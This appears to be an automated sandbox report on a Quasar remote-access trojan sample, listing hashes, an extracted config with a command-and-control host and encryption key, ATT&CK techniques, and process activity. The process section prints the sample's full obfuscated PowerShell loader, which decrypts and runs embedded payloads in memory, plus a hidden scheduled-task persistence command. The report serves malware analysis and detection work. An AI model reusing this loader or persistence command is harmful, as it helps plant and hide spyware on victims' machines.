quasar | 41216ba83eddf1b01197fb44abbb24e8a83389862a843e6c78ae6a0f9474be34

General

Target

video.bat
Size

1.8MB
MD5

3e23287bf7024e118f144018b5c6ee51
SHA1

e5c30a22a6b46400520809133e02ab824e6f1d8c
SHA256

41216ba83eddf1b01197fb44abbb24e8a83389862a843e6c78ae6a0f9474be34
SHA512

bd5644d745e159b56e67a9ff21390e9bfcbadd2b69530697dce6a8728af029c8d4d6712fe64975b8cde5fe574305b2a8c683c3f80602ec66d4f9a036a7e9fd06
SSDEEP

24576:nFqcE/6HOYP8eW5fvoUjBEcHvlstN2DzKlIBzmfvz/LKkROe5WkEsdov9eAvfGiA:nF0YPtAfv3qzym9ov9KJ

Score

10^/10

quasar phantom execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Phantom

C2

even-lemon.gl.at.ply.gg:33587

Mutex

db128a32-6a0f-4592-bc4d-39d508fbe456

Attributes

encryption_key
04017BC2FE671A38FED74363CF7D888C6B8DA217
install_name
$phantom-powershell.exe
log_directory
PHANTOM
reconnect_delay
3000
startup_key
$phantom-powershell
subdirectory
$phantom-phantom2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/420-47-0x000001F627870000-0x000001F627B94000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

2 420 powershell.exe
3 420 powershell.exe
4 420 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4964 powershell.exe
1496 powershell.exe
420 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000_Classes\Local Settings powershell.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

4708 PING.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4964 powershell.exe
4964 powershell.exe
1496 powershell.exe
1496 powershell.exe
420 powershell.exe
420 powershell.exe

flow	pid	process
2	420	powershell.exe
3	420	powershell.exe
4	420	powershell.exe

pid	process
4964	powershell.exe
1496	powershell.exe
420	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000_Classes\Local Settings	powershell.exe

pid	process
4708	PING.EXE

pid	process
4964	powershell.exe
4964	powershell.exe
1496	powershell.exe
1496	powershell.exe
420	powershell.exe
420	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe
Token: 33	1496	powershell.exe
Token: 34	1496	powershell.exe
Token: 35	1496	powershell.exe
Token: 36	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe
Token: 33	1496	powershell.exe
Token: 34	1496	powershell.exe
Token: 35	1496	powershell.exe
Token: 36	1496	powershell.exe
Token: SeIncreaseQuotaPrivilege	1496	powershell.exe
Token: SeSecurityPrivilege	1496	powershell.exe
Token: SeTakeOwnershipPrivilege	1496	powershell.exe
Token: SeLoadDriverPrivilege	1496	powershell.exe
Token: SeSystemProfilePrivilege	1496	powershell.exe
Token: SeSystemtimePrivilege	1496	powershell.exe
Token: SeProfSingleProcessPrivilege	1496	powershell.exe
Token: SeIncBasePriorityPrivilege	1496	powershell.exe
Token: SeCreatePagefilePrivilege	1496	powershell.exe
Token: SeBackupPrivilege	1496	powershell.exe
Token: SeRestorePrivilege	1496	powershell.exe
Token: SeShutdownPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeSystemEnvironmentPrivilege	1496	powershell.exe
Token: SeRemoteShutdownPrivilege	1496	powershell.exe
Token: SeUndockPrivilege	1496	powershell.exe
Token: SeManageVolumePrivilege	1496	powershell.exe
Token: 33	1496	powershell.exe
Token: 34	1496	powershell.exe
Token: 35	1496	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

420 powershell.exe

pid	process
420	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.execmd.exe

description	pid	process	target process
PID 2576 wrote to memory of 4964	2576	cmd.exe	powershell.exe
PID 2576 wrote to memory of 4964	2576	cmd.exe	powershell.exe
PID 4964 wrote to memory of 1496	4964	powershell.exe	powershell.exe
PID 4964 wrote to memory of 1496	4964	powershell.exe	powershell.exe
PID 4964 wrote to memory of 2944	4964	powershell.exe	WScript.exe
PID 4964 wrote to memory of 2944	4964	powershell.exe	WScript.exe
PID 2944 wrote to memory of 4896	2944	WScript.exe	cmd.exe
PID 2944 wrote to memory of 4896	2944	WScript.exe	cmd.exe
PID 4896 wrote to memory of 420	4896	cmd.exe	powershell.exe
PID 4896 wrote to memory of 420	4896	cmd.exe	powershell.exe
PID 420 wrote to memory of 2404	420	powershell.exe	cmd.exe
PID 420 wrote to memory of 2404	420	powershell.exe	cmd.exe
PID 2404 wrote to memory of 688	2404	cmd.exe	chcp.com
PID 2404 wrote to memory of 688	2404	cmd.exe	chcp.com
PID 2404 wrote to memory of 4708	2404	cmd.exe	PING.EXE
PID 2404 wrote to memory of 4708	2404	cmd.exe	PING.EXE

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\video.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gX7XYLn4dbQdiIUvmYqk2d03PgJBXfcZvi3WFTZZa4g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KcZLFz/4shTUK5TFlUW+3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fzajp=New-Object System.IO.MemoryStream(,$param_var); $FzQYM=New-Object System.IO.MemoryStream; $HukBb=New-Object System.IO.Compression.GZipStream($fzajp, [IO.Compression.CompressionMode]::Decompress); $HukBb.CopyTo($FzQYM); $HukBb.Dispose(); $fzajp.Dispose(); $FzQYM.Dispose(); $FzQYM.ToArray();}function execute_function($param_var,$param2_var){ $iMwpu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iFQms=$iMwpu.EntryPoint; $iFQms.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\video.bat';$pGsGT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\video.bat').Split([Environment]::NewLine);foreach ($yaYpE in $pGsGT) { if ($yaYpE.StartsWith(':: ')) { $glRAZ=$yaYpE.Substring(3); break; }}$payloads_var=[string[]]$glRAZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_826_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_826.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_826.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_826.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gX7XYLn4dbQdiIUvmYqk2d03PgJBXfcZvi3WFTZZa4g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KcZLFz/4shTUK5TFlUW+3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fzajp=New-Object System.IO.MemoryStream(,$param_var); $FzQYM=New-Object System.IO.MemoryStream; $HukBb=New-Object System.IO.Compression.GZipStream($fzajp, [IO.Compression.CompressionMode]::Decompress); $HukBb.CopyTo($FzQYM); $HukBb.Dispose(); $fzajp.Dispose(); $FzQYM.Dispose(); $FzQYM.ToArray();}function execute_function($param_var,$param2_var){ $iMwpu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iFQms=$iMwpu.EntryPoint; $iFQms.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_826.bat';$pGsGT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_826.bat').Split([Environment]::NewLine);foreach ($yaYpE in $pGsGT) { if ($yaYpE.StartsWith(':: ')) { $glRAZ=$yaYpE.Substring(3); break; }}$payloads_var=[string[]]$glRAZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8uu2jcPEqCld.bat" "
6⤵
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\system32\chcp.com
chcp 65001
7⤵
PID:688

C:\Windows\system32\PING.EXE
ping -n 10 localhost
7⤵
- Runs ping.exe
PID:4708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\8uu2jcPEqCld.bat

Filesize
220B

MD5
ab52f0be7c485d7b67e336b992686cdf

SHA1
d563a4e3c7f6544754a1f566c55ee5862693eac8

SHA256
5505a88f209e6f77654cc8ef663d8aebc8a891a27c9e27975c73e2506a0bf516

SHA512
40d1a0c5802f4ca0374d2db6c75274cf8317a1ff3d1cdb0c9b37e76fb60411ae75a08b6461ebcd9ecc9504da790ea4477ff6f3e0c33be08cd35dee27f90ca29c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncth5e1v.gl4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_826.bat

Filesize
1.8MB

MD5
3e23287bf7024e118f144018b5c6ee51

SHA1
e5c30a22a6b46400520809133e02ab824e6f1d8c

SHA256
41216ba83eddf1b01197fb44abbb24e8a83389862a843e6c78ae6a0f9474be34

SHA512
bd5644d745e159b56e67a9ff21390e9bfcbadd2b69530697dce6a8728af029c8d4d6712fe64975b8cde5fe574305b2a8c683c3f80602ec66d4f9a036a7e9fd06

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_826.vbs

Filesize
115B

MD5
156a20a0c863b93f2a7dd5f83859b218

SHA1
0b5f4db62914f67faba4917cfb93e02355487081

SHA256
a5364e319168cdcc03a8c3aec3e9892596ae4faa5a08c9e83fd68e6ac47b5a11

SHA512
d26627f6e82a8ffab0d56cb1806bc6f3be067dc3a2a0436b52a42c4483efece079acca25b6b088cd3faea34e47c9bc2234d84c42ca7e024a39c3445ae5a9ec32

Download Submit
memory/420-50-0x000001F628EC0000-0x000001F629082000-memory.dmp

Filesize
1.8MB

Download
memory/420-47-0x000001F627870000-0x000001F627B94000-memory.dmp

Filesize
3.1MB

Download
memory/420-53-0x000001F628160000-0x000001F628172000-memory.dmp

Filesize
72KB

Download
memory/420-54-0x000001F6281C0000-0x000001F6281FC000-memory.dmp

Filesize
240KB

Download
memory/420-48-0x000001F628110000-0x000001F628160000-memory.dmp

Filesize
320KB

Download
memory/420-49-0x000001F628220000-0x000001F6282D2000-memory.dmp

Filesize
712KB

Download
memory/1496-29-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/1496-26-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/1496-25-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/1496-16-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/4964-12-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/4964-11-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/4964-10-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/4964-13-0x000001531E630000-0x000001531E638000-memory.dmp

Filesize
32KB

Download
memory/4964-14-0x0000015336B70000-0x0000015336CC8000-memory.dmp

Filesize
1.3MB

Download
memory/4964-0-0x00007FFC49723000-0x00007FFC49725000-memory.dmp

Filesize
8KB

Download
memory/4964-55-0x00007FFC49723000-0x00007FFC49725000-memory.dmp

Filesize
8KB

Download
memory/4964-56-0x00007FFC49720000-0x00007FFC4A1E2000-memory.dmp

Filesize
10.8MB

Download
memory/4964-9-0x000001531E640000-0x000001531E662000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads